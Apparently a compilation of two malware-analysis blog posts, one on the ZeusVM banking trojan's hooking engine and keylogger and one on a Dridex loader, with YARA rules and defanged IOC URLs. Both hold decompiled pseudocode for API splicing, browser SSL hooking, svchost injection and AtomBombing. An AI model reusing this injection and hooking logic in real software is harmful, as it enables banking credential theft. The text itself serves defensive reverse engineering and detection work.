$main_cmd_processor = { 55 8b ec 8b ?? ?? 80 ?? ?? ?? 75 ?? 0f ?? ?? 83 c0 9e 83 f8 10 77 ?? 0f ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ?? 8d ?? ?? 50 e8 ?? ?? ?? ?? 8b ?? ?? 83 c4 04 89 ?? b8 01 00 00 00 5d c3 6a 01 8d ?? ?? 50 e8 ?? ?? ?? ?? 8b ?? ?? 83 c4 08 89 ?? b8 01 00 00 00 5d c3 6a 00 eb ?? 8d ?? ?? 50 e8 ?? ?? ?? ?? 8b ?? ?? 83 c4 04 89 ?? b8 01 00 00 00 5d c3 8b ?? ?? c7 ?? ?? ?? ?? ?? b8 01 00 00 00 5d c3 33 c0 5d c3}

condition:
( uint16(0) == 0x5a4d and
filesize < 60KB and
pe.imphash() == "9ea0470ccffd0a7ac8dd70e0968d3e95" and
( all of them )
or 5 of ($s*) and ( $main_cmd_processor ) or ( $crypt_sysfunction and $external_ip_resolution ) )
}

Let’s Learn: Exploring ZeusVM Banking Malware Hooking Engine

Goal: Analyze and reverse one of the latest ZeusVM variants with the special attention to its main client module and its keylogger component.

https://platform.twitter.com/widgets.js

Source:
Original Packed Loader 32-Bit (x86) (MD5: 649d7732a28818947146070b6959fbd9)
Client 32-Bit Executable (x86) (MD5: f024f3ec18de88a7745b5f3a90c69a31)
Keylogger “klog” Executable 32-Bit (x86)(MD5: 3ef2632c2476c33def2c51b0e383cab1)
Outline
I. Background
II. ZeusVM Banker: Client 32-Bit Executable (x86)
III. Hooking Engine EnterHook
A. MainHook API Logic
B. EnterHook
C. Hooked API calls
1. TlsGetValue API Hook
2. “CreateProcessNotifyApi" Hook and Other Kernel32/Wininet API Hooks
3. Mozilla Firefox API Hook
4. Google Chrome SSL Hook
D. ExitHook
IV. ZeusVM Keylogger Executable
A. Keylog “Init” Function
B. Keylog Take Screenshot Function
V. Yara Signature
A. ZeusVM Client Version
B. ZeusVM Keylogger Component
VI. Indicators of Compromise (IOCs)
VII. Addendum: Hooked API Calls
Background
This latest binary of the ZeusVM banking malware was initially identified by @Racco42 and tagged by @James_inthe_box. Before diving deeper into this malware variant, I highly recommend reading Dennis Schwartz’ report titled “ZeusVM: Bits and Pieces.” The focus of this report is to explore the ZeusVM banking malware hooking and engine.
Malware Analysis

The ZeusVM client consists of 903 functions with the size of 229.50 KB (235008 bytes). The original Zeus client consisted of 558 functions with the size of 138.00 KB (141312 bytes). Leveraging the Diaphora plugin, it was identified that there are 371 function best matches (including function hash, bytes hash, perfect match, equal pseudo-code, equal assembly, same rare MD index), 130 function partial matches (including mnemonics same-primes-product, callgraph match, pseudo-code fuzzy hash, same constants, similar small pseudo-code), 55 function unreliable matches (including strongly connected components and same-primes-product), and 345 function unmatched matches in the latest ZeusVM as compared to the leaked Zeus 2.0.8.9 client. The ZeusVM is, by and large, an evolution of the leaked Zeus variant. The ZeusVM binary adds various dynamic API loading methodology with the additional features (e.g., Google Chrome API hooking).

III. Hooking Engine
The ZesVM malware employs API hook splicing technique to intercept API calls of interest by inserting a jump instruction. ZeusVM hooking engine is leveraged to hook various browser and other API for information-stealing purposes.

A. HookAPI
The hooking engine of the malware is char type HookAPI one taking five parameters to hook API calls of interest. The function allocates memory and sets up proper protections and calls two additional functions that I describe as “EnterHook” and “ExitHook” ones.
The HookAPI function sequence -> checks if the function is at the base address ->  “AllocateBuffer” (via VirtualAlloc API call) -> “EnterHook” setting up the trampoline and splicing the call -> “ExitHook” function.
The pseudo-coded ZeusVM HookiAPI function is as follows: 
//////////////////////////////////////////////////
//////////// ZeusVM HookAPI Function /////////////
//////////////////////////////////////////////////

char __stdcall HookAPI(HANDLE hProcess, DWORD flOldProtect, int a3, LPVOID lpBaseAddress, int a5)
{
v5 = a3;
if ( (LPVOID)a3 != lpBaseAddress || !VirtualAlloc_func(a3, hProcess, (int)&lpBaseAddress, (int)&a3) )
return 0;
v7 = 0;
if ( v5 )
{
v8 = a3;
v9 = flOldProtect + 8;
while ( *(_DWORD *)(v9 - 8) )
{
*(_DWORD *)(v9 + 4) = v8;
*(_DWORD *)v9 = 0;
*(_BYTE *)(v9 + 8) = 0;
++v7;
v8 += 0x37;
v9 += 0x14;
if ( v7 >= v5 )
goto LABEL_8;
}
result = 0;
}
else
{
LABEL_8:
v10 = (char *)lpBaseAddress;
if ( lpBaseAddress )
{
a3 = 0;
if ( v5 > 0 )
{
originalFunction = flOldProtect + 4;
do
{
v12 = EnterHook(
hProcess,
originalFunction - 4,
*(_DWORD *)originalFunction,
v10,
*(LPVOID *)(originalFunction + 8));
if ( !v12 )
break;
*(_DWORD *)(originalFunction + 4) = v10;
v10 += v12;
++a3;
*(_BYTE *)(originalFunction + 12) = v12;
originalFunction += 20;
}
while ( a3 < v5 );
}
if ( a3 == v5 )
return 1;
ExitHook(hProcess, flOldProtect, v5);
}
result = 0;
}
return result;
}
B. EnterHook
The “EnterHook” function is the SIZE_T type taking 5 parameters. ZeusVM enables its hooks as follows leveraging VirtualProtect with the usual pJmp->opcode = 0xE9 (32-bit relative JMP).
//////////////////////////////////////////////////
//////////// ZeusVM EnterHook Function /////////////
//////////////////////////////////////////////////
SIZE_T __stdcall EnterHook(HANDLE hProcess, int functionForHook, \
int hookerFunction, LPVOID lpBaseAddress, LPVOID originalFunction)
{

v5 = *(_DWORD *)functionForHook;
v6 = 0;
v19 = 0;
memset(&Buffer, 0x90, 0x28u);
memset(&v15, 0x90, 0x37u);
while ( 1 )
{
if ( VirtualQuery_checkAvalibleBytes((_BYTE *)v5, hProcess) < 5 )
return 0;
if ( ((int (__stdcall *)(int, _DWORD))loc_433710)(v5, 0) != 2 || *(_BYTE *)v5 != -21 )
break;
v5 += *(_BYTE *)(v5 + 1) + 2;
}
if ( VirtualQuery_checkAvalibleBytes((_BYTE *)v5, hProcess) >= 0x1E
&& VirtualProtectEx(hProcess, (LPVOID)v5, 0x1Eu, 0x40u, &flOldProtect) )
     // Set up proper execution access
{
if ( ReadProcessMemory(hProcess, (LPCVOID)v5, &Buffer, 0x1Eu, 0) )
    // Read the original function code
{
v8 = 0;
for ( i = (char *)&Buffer; ; i = (char *)(&Buffer + v8) )
{
v10 = ((int (__stdcall *)(char *, _DWORD))loc_433710)(i, 0);
if ( v10 == 0xFFFFFFFF )
break;
v8 += v10;
if ( v8 > 0x23 )
break;
if ( v8 >= 5 )
{
nSize = v8;
v22 = 0;
do
{
v11 = (char *)(&Buffer + v22);
v12 = ((int (__stdcall *)(unsigned __int8 *, _DWORD))loc_433710)(&Buffer + v22, 0);
v13 = *v11;
            if ( *v11 != 0xE9u && v13 != 0xE8u || v12 != 5 )
       
{
qmemcpy(&v15 + v6, v11, v12);
v6 += v12;
}
else
{
*(&v15 + v6) = v13;
*(int *)((char *)&v16 + v6) = v5 + v22 + *(_DWORD *)(v11 + 1) - v6 - (_DWORD)a5;
v6 += 5;
}
v22 += v12;
}
while ( v22 != nSize );
if ( WriteProcessMemory(hProcess, lpBaseAddress, &Buffer, nSize, 0) )
{
*(int *)((char *)&v16 + v6) = nSize - v6 - (_DWORD)a5 + v5 - 5;
*(&v15 + v6) = 0xE9u;
if ( WriteProcessMemory(hProcess, a5, &v15, v6 + 5, 0) )
{
v18 = hookerFunction - v5 - 5;
v14 = *(_DWORD *)functionForHook;
Buffer = 0xE9u;
            // "0xE9" -> opcode for a jump with a 32bit relative offset
              NtCreateThread_func(v14, (int)a5);
if ( WriteProcessMemory(hProcess, (LPVOID)v5, &Buffer, 5u, 0) )
v19 = nSize;
}
}
break;
}
}
}
VirtualProtectEx(hProcess, (LPVOID)v5, 0x1Eu, flOldProtect, &flOldProtect);
}
*(_DWORD *)functionForHook = v5;
return v19;
}
C. ZeusVM Hooked API
The “EnterHook” function is the SIZE_T type taking 5 parameters. The function employs VirtualQuery to check for available bytes, sets up proper execution access, reads the original API function and overwrites it with the 0xe9, which is an opcode for a jump with a 32-bit relative offset. This similar technique is used in many malware variants (including Ramnit, Gozi ISFB, Panda, and others).

1. TlsGetValue Hook

ZeusVM just like the leaked Zeus 2.0.8.9 sets up a function hook for TlsGetValue API call to intercept child process flags.
2. “CreateProcessNotifyApi” Hook and Other Kernel32/Wininet Hooks
The malware sets up a plethora of various process and information specific API calls that were originally called “corehook” in the original Zeus 2.0.8.9. Again, this malware simply borrows the previous ZeusVM exact API hooks.
////////////////////////////////////////////////////////////////////////////////
//////////// ZeusVM CreateProcessNotifyApi and Other Function Hook /////////////
////////////////////////////////////////////////////////////////////////////////
int (__stdcall *NtCreateUserProcess)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD,
_DWORD);
WCHAR pszPath;

NtCreateUserProcess = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD,
_DWORD, _DWORD, _DWORD))::NtCreateUserProcess;
if ( ::NtCreateUserProcess )
{
dword_43825C = (int)sub_41B216;
}
else
{
NtCreateUserProcess = NtCreateThread;
dword_43825C = (int)sub_41B160;
}
...
dword_438564 = (int)TranslateMessage;
dword_438578 = (int)GetClipboardData;
dword_43858C = (int)PFXImportCertStore;
dword_438018 = (int)HttpSendRequestW;
dword_438058 = (int)HttpSendRequestA;
dword_438098 = (int)HttpSendRequestExW;
dword_4380D8 = (int)HttpSendRequestExA;
dword_438118 = (int)InternetCloseHandle;
dword_438158 = (int)InternetReadFile;
dword_438198 = (int)InternetReadFileExA;
dword_4381D8 = (int)InternetQueryDataAvailable;
dword_438218 = (int)HttpQueryInfoA;
if ( !SHGetFolderPathW(0, 0x25, 0, 0, &pszPath) )
{
PathRemoveBackslashW(&pszPath);
PathCombineW_func(L"wininet.dll", &pszPath, &pszPath);
sub_42E9C6(&pszPath);
}
return HookAPI((HANDLE)0xFFFFFFFF, (DWORD)&NtCreateUserProcess_0, 0x2A, (LPVOID)0x2A, 1);
3. Mozilla Firefox API Hook
As usual, the malware sets up browser-specific Mozilla Firefox API hooks.

4. Google Chrome SSL Hook
While it is relatively easy to find and hook DLL exported functions: “PR_Read” and “PR_Write” in the Mozilla Firefox browser, it is much more complicated to do the same for Google Chrome, wherein the functions “SSL_Read” and “SSL_Write” functions are not exported in the same fashion. The hooking algorithm necessitates walking the Google Chrome “boringssl” chrome.dll’s ‘.rdata’ section to locate the necessary functions. For more information, please review this helpful article on the exact methodology.

The pseudo-coded C++ is as follows:
/////////////////////////////////////////////////////////
//////////// ZeusVM Google Chrome Hooks ///////////////
////////////////////////////////////////////////////////
char __stdcall ChromeSSLHook(int a1)
{
int v1;
char result;
char v3;
v1 = SearchforChrome_rdata(a1);
if ( v1 )
{
dword_438604 = *(_DWORD *)(v1 + 4);
dword_438618 = *(_DWORD *)(v1 + 8);
dword_43862C = *(_DWORD *)(v1 + 12);
v3 = HookAPI((HANDLE)0xFFFFFFFF, (DWORD)&dword_438604, 3, (LPVOID)3, 1);
if ( v3 )
sub_42F2FB(a1, dword_438610, dword_438624, dword_438638);
result = v3;
}
else
{
result = 0;
}
return result;
}
D. ExitHook
The malware’s ExitHook function simply returns the permissions and protection and function previous state before the hook via the following sequence:
checkAvalibleBytes -> VirtualProtectEx -> WriteProcessMemory (with original function) -> VirtualProtectEx.
IV. Keylogger Executable
ZesVM malware also drops its own primitive keylogger with screenshot capabilities. The total executable is 6.00 KB (6144 bytes); its own internal name is “keylogger.exe,” and it contains 8 functions with the export functions “Init” and “Uninit.”

A. Keylog “Init” Function & “TakeScreenshot” Function
The keylogger logic is unsophisticated formatting the keylogged data formatting as “KLog\\file\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d” and the grabbed screenshots formatting as “KLog\\screen\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d.”

V.Yara Signature

A. ZeusVM Client Version
import "pe"

rule crime_win32_zeusvm_client_banker {
meta:
author = "@VK_Intel"
reference = "Detects ZeusVM client"
date = "2018-10-29"
hash1 = "4d2705b74f7648fdf741f87e4eee9a71c823ac649d53dd5715cb3a6b6d0b6c10"
strings:
$s0 = "http://www.google.com/webhp" fullword ascii
$s1 = "bcdfghjklmnpqrstvwxzaeiouy" fullword ascii
$s2 = "FIXME" fullword ascii
$s3 = "vnc" fullword ascii
$s4 = "socks" fullword ascii
$xor_decode = { 0f b7 c0 8d ?? ?? ?? ?? ?? ?? 33 d2 33 c9 66 ?? ?? ?? 73 ?? 56 8b ?? ?? 0f b7 f1 8a ?? ?? 32 ?? 32 d1 41 88 ?? ?? 66 ?? ?? ?? 72 ?? 5e 0f ?? ?? ?? c6 ?? ?? ?? c3}

condition:
( uint16(0) == 0x5a4d and
filesize < 700KB and
pe.imphash() == "97cdaa72c3f228ec37eb171715fe20ca" and
( all of them )
) or ( all of them )
}

B. ZeusVM Keylogger Component

import "pe"


rule crime_win32_zeusvm_keylogger_component_banker {
meta:
author = "@VK_Intel"
reference = "Detects ZeusVM Keylogger Component"
date = "2018-10-29"
hash1 = "58cea503342f555b71cc09c1599bb12910f193109bd88d387bca44b99035553f"
strings:
$s1 = "keylog.exe" fullword ascii
$s2 = "KLog\\screen\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d" fullword wide
$s3 = "KLog\\file\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d" fullword wide
condition:
( uint16(0) == 0x5a4d and
filesize < 20KB and
pe.imphash() == "ea04b0c46651d6d5ecb1bc99e6050fd8" and pe.exports("Uninit") and
( all of them )
) or ( all of them )
}
VII. Addendum: Hooked API Calls
*following the same Zeus 2.0.8.9 convention*
Core Hook API
  {NULL, CoreHook::hookerLdrLoadDll,                    NULL, 0},
{NULL, CoreHook::hookerNtQueryDirectoryFile, NULL, 0},
  {NULL, CoreHook::hookerNtCreateFile,                  NULL, 0},
{NULL, CoreHook::hookerGetFileAttributesExW, NULL, 0},

Wininet Hook API

  {NULL, WininetHook::hookerHttpSendRequestW,           NULL, 0},
{NULL, WininetHook::hookerHttpSendRequestA, NULL, 0},
{NULL, WininetHook::hookerHttpSendRequestExW, NULL, 0},
{NULL, WininetHook::hookerHttpSendRequestExA, NULL, 0},
{NULL, WininetHook::hookerInternetCloseHandle, NULL, 0},
{NULL, WininetHook::hookerInternetReadFile, NULL, 0},
{NULL, WininetHook::hookerInternetReadFileExA, NULL, 0},
{NULL, WininetHook::hookerInternetQueryDataAvailable, NULL, 0},
{NULL, WininetHook::hookerHttpQueryInfoA, NULL, 0},

Sock Hook API

  {NULL, SocketHook::hookerCloseSocket,                 NULL, 0},
{NULL, SocketHook::hookerSend, NULL, 0},
{NULL, SocketHook::hookerWsaSend, NULL, 0},

VNC Server Hook API

  {NULL, VncServer::hookerOpenInputDesktop,             NULL, 0},
{NULL, VncServer::hookerSwitchDesktop, NULL, 0},
{NULL, VncServer::hookerDefWindowProcW, NULL, 0},
{NULL, VncServer::hookerDefWindowProcA, NULL, 0},
{NULL, VncServer::hookerDefDlgProcW, NULL, 0},
{NULL, VncServer::hookerDefDlgProcA, NULL, 0},
{NULL, VncServer::hookerDefFrameProcW, NULL, 0},
{NULL, VncServer::hookerDefFrameProcA, NULL, 0},
{NULL, VncServer::hookerDefMDIChildProcW, NULL, 0},
{NULL, VncServer::hookerDefMDIChildProcA, NULL, 0},
{NULL, VncServer::hookerCallWindowProcW, NULL, 0},
{NULL, VncServer::hookerCallWindowProcA, NULL, 0},

{NULL, VncServer::hookerRegisterClassW, NULL, 0},
{NULL, VncServer::hookerRegisterClassA, NULL, 0},
{NULL, VncServer::hookerRegisterClassExW, NULL, 0},
{NULL, VncServer::hookerRegisterClassExA, NULL, 0},

{NULL, VncServer::hookerBeginPaint, NULL, 0},
{NULL, VncServer::hookerEndPaint, NULL, 0},
{NULL, VncServer::hookerGetDcEx, NULL, 0},
{NULL, VncServer::hookerGetDc, NULL, 0},
{NULL, VncServer::hookerGetWindowDc, NULL, 0},
{NULL, VncServer::hookerReleaseDc, NULL, 0},
{NULL, VncServer::hookerGetUpdateRect, NULL, 0},
{NULL, VncServer::hookerGetUpdateRgn, NULL, 0},

{NULL, VncServer::hookerGetMessagePos, NULL, 0},
{NULL, VncServer::hookerGetCursorPos, NULL, 0},
{NULL, VncServer::hookerSetCursorPos, NULL, 0},
{NULL, VncServer::hookerSetCapture, NULL, 0},
{NULL, VncServer::hookerReleaseCapture, NULL, 0},
{NULL, VncServer::hookerGetCapture, NULL, 0},
{NULL, VncServer::hookerGetMessageW, NULL, 0},
{NULL, VncServer::hookerGetMessageA, NULL, 0},
{NULL, VncServer::hookerPeekMessageW, NULL, 0},
{NULL, VncServer::hookerPeekMessageA, NULL, 0},

User Hook API

  {NULL, UserHook::hookerTranslateMessage,              NULL, 0},
{NULL, UserHook::hookerGetClipboardData, NULL, 0},
{NULL, UserHook::hookerSetWindowTextW, NULL, 0},

CertStore Hook API

  {NULL, CertStoreHook::_hookerPfxImportCertStore,      NULL, 0},

TlsGetValue Hook API

TlsGetValue

Mozilla Firefox Hook API

PR_OpenTCPSocket
PR_Close
PR_Read
PR_Write
PR_Poll
PR_GetNameForIdentity
PR_SetError
PR_GetError

Google Chrome Hook API

SSL_Read
SSL_Write

Let’s Learn: Dissecting Dridex Banking Malware Part 1: Loader and Avast "snxk.dll" Hooking Lib

Goal: Reverse engineer and analyze the latest “Dridex” banking malware loader and its usage of Avast “snxk.dll” hooking library.

https://platform.twitter.com/widgets.js
Source:
Dridex Packed Loader 32-bit (x86) Executable (MD5: de0bb0bec9fd145a6f57e538a7dd8693)
Unpacked Dridex “ldr” Loder 32-bit (x86) Executable (MD5: 0fc7b913d0e0278d195b3606b608a223)
“snxk.dll” Injector 32-bit (x86) DLL (MD5: 105987197a3c8f76b92c4cae56fe1b16)
Outline

I. Background
II. Malware Campaign Spreading "Dridex" Banker
III. Original Dridex Packed Loader 32-bit (x86) Executable
IV. Unpacked Dridex Loader 32-bit (x86) Executable
A. Dridex Loader OutputDebugStringW(L"installing"/ L"installed")
B. Loader System Profile
C. CreateMutex: GetComputerNameA & GetEnvironmentVariableW(USERNAME)
D. Dridex Loader API and Function Resolver
E. CreateProcessW "svchost.exe" Process (flag=0xC)
F. Loader Enumerate Modules and Inject "snhxk.dll" Hooker Library
H. Loader AtomBombing Technique.
V. Unpacked "snxk.dll" Hooker 32-bit (x86) DLL
V. Yara Signature: Dridex Loader

I. Background
Dridex by far is one of the most complex and sophisticated financial banking malware on the e-crime landscape. The malware is also referred to as “Bugat” and “Cridex” by various researchers. The original Bugat malware dates back to 2010, which at some point rivaled the original “Zeus” banking malware. This malware group behind it was referenced in the Department of Justice arrest and indictment of a certain Moldovan national back in 2015. Notably, Dridex leverages AtomBombing process injection technique, initially discovered by EnSilo researchers. Before diving deeper, I highly recommend reading IBM X-Force blog titled “Dridex’s Cold War: Enter AtomBombing” detailing the Dridex method implementing this AtomBombing technique.

II. Malware Campaign Spreading "Dridex" Banker
This latest Dridex variant was distruted via an interesting chain from Microsoft Office document with macros communicating with the intermediatery server receving tasks and receiving encrypted payloads as follows: 
hxxp://securityupdateserver4[.]com/tasks[.]php
hxxp://securityupdateserver4[.]com/modules/x86payload[.]core
hxxp://securityupdateserver4[.]com/modules/x64payload[.]core
Finally, the Dridex loader was retrieved from the following URL as "dridex.exe":
hxxp://209[.]141[.]59[.]124/dridex[.]exe
III.  Original Dridex Packed Loader 32-bit (x86) Executable

The crypted binary leverages GdiFlush API in a loop until it reaches the decoding loop, which unpacks the loader leveraging the following API calls:

ntdll.LdrGetProcedureAddress
kernel32.VirtualAlloc

The original loader was obfuscated and packed by pretty interesting crypter with the following executable information with the program database (PDB) path.

---------------------------------------
----------Dridex Packed Loader---------
---------------------------------------

[IMAGE_DEBUG_DIRECTORY]
0x1F760 0x0 Characteristics: 0x0
0x1F764 0x4 TimeDateStamp: 0x5B90D07C [Thu Sep 6 07:00:12 2018 UTC]
0x1F768 0x8 MajorVersion: 0x0
0x1F76A 0xA MinorVersion: 0x0
0x1F76C 0xC Type: 0x2
0x1F770 0x10 SizeOfData: 0x33
0x1F774 0x14 AddressOfRawData: 0x28CE4
0x1F778 0x18 PointerToRawData: 0x28CE4
Type: IMAGE_DEBUG_TYPE_CODEVIEW

[CV_INFO_PDB70]
0x28CE4 0x0 CvSignature: 0x53445352
0x28CE8 0x4 Signature_Data1: 0x5F1B5FEA
0x28CEC 0x8 Signature_Data2: 0x48
0x28CEE 0xA Signature_Data3: 0x446A
0x28CF0 0xC Signature_Data4: 0xDA80
0x28CF2 0xE Signature_Data5: 0x6506
0x28CF4 0x10 Signature_Data6: 0x14D18F78
0x28CF8 0x14 Age: 0x1
0x28CFC 0x18 PdbFileName: EHW###%@$WHRENBRWHrjhss.pdb

IV. Unpacked Dridex Loader 32-bit (x86) Executable
The unpacked Dridex loader contains 398 functions and 4 sections (.text, .rdata, .data, and .reloc) with only one imported KERNEL32.dll and one API call OutputDebugStringW, statically. The total size of the unpacked loader is 86 KB. By far, the Dridex is more complex with obscure API calls obfuscated by its API hashing algorithm, process environment block (PEB) traversal, and Nt-level calls, meant to evade and frustrate automated analysis. Additionally, the loader also appears to leverage legitimate Avast library “snxk.dll” to evade detection.

---------------------------------------
----------Dridex Unpacked Loader-------
---------------------------------------

[IMAGE_DEBUG_DIRECTORY]
0x151B0 0x0 Characteristics: 0x0
0x151B4 0x4 TimeDateStamp: 0x5B8EAB53 [Tue Sep 4 15:57:07 2018 UTC]
0x151B8 0x8 MajorVersion: 0x0
0x151BA 0xA MinorVersion: 0x0
0x151BC 0xC Type: 0x2
0x151C0 0x10 SizeOfData: 0x3B
0x151C4 0x14 AddressOfRawData: 0x16804
0x151C8 0x18 PointerToRawData: 0x15204
Type: IMAGE_DEBUG_TYPE_CODEVIEW

[CV_INFO_PDB70]
0x15204 0x0 CvSignature: 0x53445352
0x15208 0x4 Signature_Data1: 0xF58A923F
0x1520C 0x8 Signature_Data2: 0xE81
0x1520E 0xA Signature_Data3: 0x4833
0x15210 0xC Signature_Data4: 0xCBB4
0x15212 0xE Signature_Data5: 0x23F9
0x15214 0x10 Signature_Data6: 0x7FBD8DA0
0x15218 0x14 Age: 0xE
0x1521C 0x18 PdbFileName: S:\Work\_bin\Release-Win32\ldr.pdb

A. Dridex Loader OutputDebugStringW(L”installing”/ L”installed”)
Once the packed loader is unpacked, we observe the Dridex loader loop leveraging OutputDebugStringW and wide strings “installing” and “installed.” It is also notable that the malware proceeds to call GetAdaptersInfo immediately after presumably to check for architecture and Windows version compatibility.

////////////////////////////////////////////////////////////
//////// Dridex Loader "installed" start exceprt ///////////
////////////////////////////////////////////////////////////
if ( (signed int)installing_ldr((char *)2) > 1 )
// OutputDebugStringW(L"installing")
OutputDebugStringW(L"installed");
v51 = a1;
svchost_exe_dridex_loader_process = a4;
v52 = 10240;
hash_func1((int)&v69, 10240);
v4 = func_calc((int)&v69, 0);
GetAdaptersInfo = (void (__cdecl *)(int, int *))func_hash1(0xDEE7C423, 0xDC613C9);
if ( GetAdaptersInfo )
GetAdaptersInfo(v4, &v52);
while ( v4 )
{
if ( *(_DWORD *)(v4 + 0x194) == 0x4B005452 && *(_WORD *)(v4 + 0x198) == 0x31A1 )
{
Dridex_loader_start(0, a2, a3, v4);
goto LABEL_12;
}
v4 = *(_DWORD *)v4;
}

B. Loader System Profile
Dridex loader profiles the system architecture leveraging various APIs and tries to obtain process token access. Additionally, the malware leverages RtlQueryElevationFlags to identify system privileges and configuration. The malware verifies it was launched with administrative privileges by calling the AllocateAndInitializeSid() function with the 0x20 (SECURITY_BUILTIN_DOMAIN_RID) and 0x220 (DOMAIN_ALIAS_RID_ADMINS) sub-authorities.
The Dridex loader leverages the following API call sequences to profile the system:

  • GetVersionExW
  • IsWow64Process
  • Process Token Access
    • OpenProcessToken
    • GetTokenInformation
    • AllocateAndInitializeSid
    • EqualSid
    • FreeSid
  • RtlQueryElevationFlags
  • GetSystemInfo

Additionally, the loader also uses SHRegDuplicateHKey API call to and enumerates registry keys at the following location leveraging RegOpenKeyExW, RegEnumKeyW:

  • HKLM\Software\Microsof\Windows\CurrentVersion\Policies\System
////////////////////////////////////////////////////////////
//////// Dridex Loader Registry Enum exceprt ///////////
////////////////////////////////////////////////////////////
if ( HKLM && HKLM != -1 )
sub_87B085(HKLM);
HKLM = v9;
v9 = 0;
v12 = (_DWORD *)func_calc(a2, 4 * v11);
v13 = 0;
v36 = *v12 ^ 0x3F62AA29;
while ( 1 )
{
v33 = v13;
RegEnumKeyW = (int (__stdcall *)(int, int, char *, signed int))func_hash1(0x3D61B1D5, 0xF2B958D9);
v5 = RegEnumKeyW ? RegEnumKeyW(HKLM, v13, Microsoft, 260) : 0;
if ( v5 )
break;
v15 = (void **)Alpha_Alloc((_WORD **)&Microsoft, (unsigned __int16 **)&v41);
v16 = WideCharToMultiByte_func_0(*v15);
v17 = v16 == v36;
j_RtlFreeHeap_func_0_0((int)&v41);
if ( v17 )
{
v35 = 0;
RegOpenKeyExW = (int (__stdcall *)(int, char *, _DWORD, signed int, int *))func_hash1(0x3D61B1D5, 0xA8C65AB);
if ( RegOpenKeyExW )
{
v19 = 0x20109;
if ( v31 == v37 )
v19 = v34;
v5 = RegOpenKeyExW(HKLM, Microsoft, 0, v19, &v35);
// HKLM\Software\ Microsof\Windows\CurrentVersion\Policies\System
else
{
v5 = 0;
}

C. CreateMutex: GetComputerNameA & GetEnvironmentVariableW(USERNAME)
The malware creates mutex leveraging advapi32.dll’s Crypto API CryptHashData calculating an MD5 value out of the concatenated output of GetComputerNameA and GetEnvironmentVariableW(“USERNAME”).
D. Dridex Loader API and Function Resolver
The malware resolves ZwProtectVirtualMemory and GetSystemDirectory and LoadLibraryW (advapi32.dll, psapi.dll, shlwapi.dll, shell32.dll, wininet.dll)

E. CreateProcessW “svchost.exe” process (flag=0xC)
The Dridex loader leverages CreateProcessW with the creation flag 0xC (CREATE_SUSPENDED|DETACHED_PROCESS) for initial process start via “svchost.exe passing the location of the Dridex loader as a command-line argument to “C:\Windows\system32\svchost.exe” and setting the current directory as “C:\Windows\system32.”

//////////////////////////////////////////////////////
////// Dridex Loader "CreateProcessW" Call ///////////
//////////////////////////////////////////////////////
CreateProcessW
(L"C:\Windows\system32\svchost.exe", // ModuleFileName
L"C:\Windows\system32\svchost.exe \
"PATH_TO_DRIDEX_LOADER"", // CommandLine
0,
0,
0,
0xC, // 0xC = CREATE_SUSPENDED|DETACHED_PROCESS
0,
// CurrentDir
L"C:\Windows\system32\",
&pStartupInfo,
&pProcessInfo)

Then, the loader proceeds to immediately obtain process information via the following sequence of API calls:

GetProcessId -> NtOpenProcess -> GetProcessImageFileNameW -> NtQueryInformationProcess -> \
GetProcessTimes -> ProcessToken Access

F. Loader Enumerate Modules and Inject “snhxk.dll” Hooker Library
Dridex enumerates modules via the following chain and injects “snxhk.dll” into “svchost.exe”:

CreateToolhelp32Snapshot -> Thread32First -> Thread32Next -> OpenThread -> \
NtQueryVirtualMemory -> NtReadVirtualMemory -> \ NtWriteVirtualMemory -> NtResumeThread

Additionally, the malware injects the DLL into the memory leveraging NtWriteVirtualMemory into the space of the suspended “svchost.exe.” 

H. Loader AtomBombing Technique
The Dridex loader leverages GlobalAddAtomW and GlobalGetAtomName with NtQueueApcThread with NtProtectVirtualMemory API call in end to make the memory region RWX as it is well-documented here.

///////////////////////////////////////////////////////////////////
//////////// Dridex Atom NtNtQueueApcThread //////////////
///////////////////////////////////////////////////////////////////

bool __fastcall Dridex_Atom_NtQueueApc(void *this, int edx0, int a2, int a3, int a4)
{

v5 = this;
v6 = edx0;
v7 = GlobalAddAtomW_GlobalGetAtomNameW_func((void *)a4);
LOWORD(v13) = v7;
if ( v7 && -1 != v7 && (v8 = func2((void *)a4), NtQueueApcThread_func
(a2, (int)v5, (unsigned __int16)v7, a3, v8 / 2)) )
{
ZwDelayExecution_func((void *)0x64);
v9 = func2((void *)a4);
v10 = func_calc(a4, 0);
v11 = NtReadVirtualMemory_func(v6, a3, v10, v9);
}
else
{
v11 = 0;
}
if ( v7 && -1 != v7 )
GlobalDeleteAtom_func(v13);
return v11;
}

V. Unpacked “snhxk.dll” Hooker 32-bit (x86) DLL

The injected “snhxk.dll” DLL contains 15 functions and 4 sections (.text, .rdata, .data, and .reloc) and one imported library KERNEL32.dll with two imported APIs FreeConsole and VirtualQuery, statically. The size of the DLL is 9 KB. Once run, this DLL also resolves dynamically GetProcAddress, LoadLibraryA, VirtualAlloc, VirtualProtect and retrieves LdrLoadDll.
Dridex appears to leverage snxhk.dll specifically to monitor LdrLoadDll API calls. The “snhxk.dll” appears to be related to Avast anti-virus hooker library to monitor loader.
The malware sets up a hook on NTDLL.dll!LdrLoadDll overwriting it with relative opcode “0xe9” jump.
//////////////////////////////////////////////////////
////// Dridex "snxhk.dll "LdrLoad" Hook Exceprt /////
//////////////////////////////////////////////////////
PVOID LdrLoadDll_dridex()
{

v12 = (_BYTE *)load_ntdll((int)"LdrLoadDll");
v11 = v12;
if ( *v12 == 0xE9u // jmp relative offset = "0xE9" opcode
{
do
{
v0 = *(_DWORD *)(v11 + 1);
v1 = v11[v0 + 5] == 0xE9u;
v11 += v0 + 5;
}
while ( v1 );
}
v10 = 0;
if ( v12 != v11 )
{
VirtualQuery(v11, &Buffer, 0x1Cu);
v10 = 0;
if ( Buffer.AllocationBase )
{
v9 = (char *)Buffer.AllocationBase + *((_DWORD *)Buffer.AllocationBase + 15);
v10 = Buffer.AllocationBase;
if ( *(_WORD *)Buffer.AllocationBase == 0x5A4D )
{
v10 = Buffer.AllocationBase;
if ( *(_DWORD *)v9 == 0x4550 )
VI. Yara Signature: Dridex Loader
import "pe"

rule crime_win32_dridex_banker_loader {
meta:
description = "Detects Dridex Loader September 4, 2018"
author = "@VK_Intel"
date = "2018-09-10"
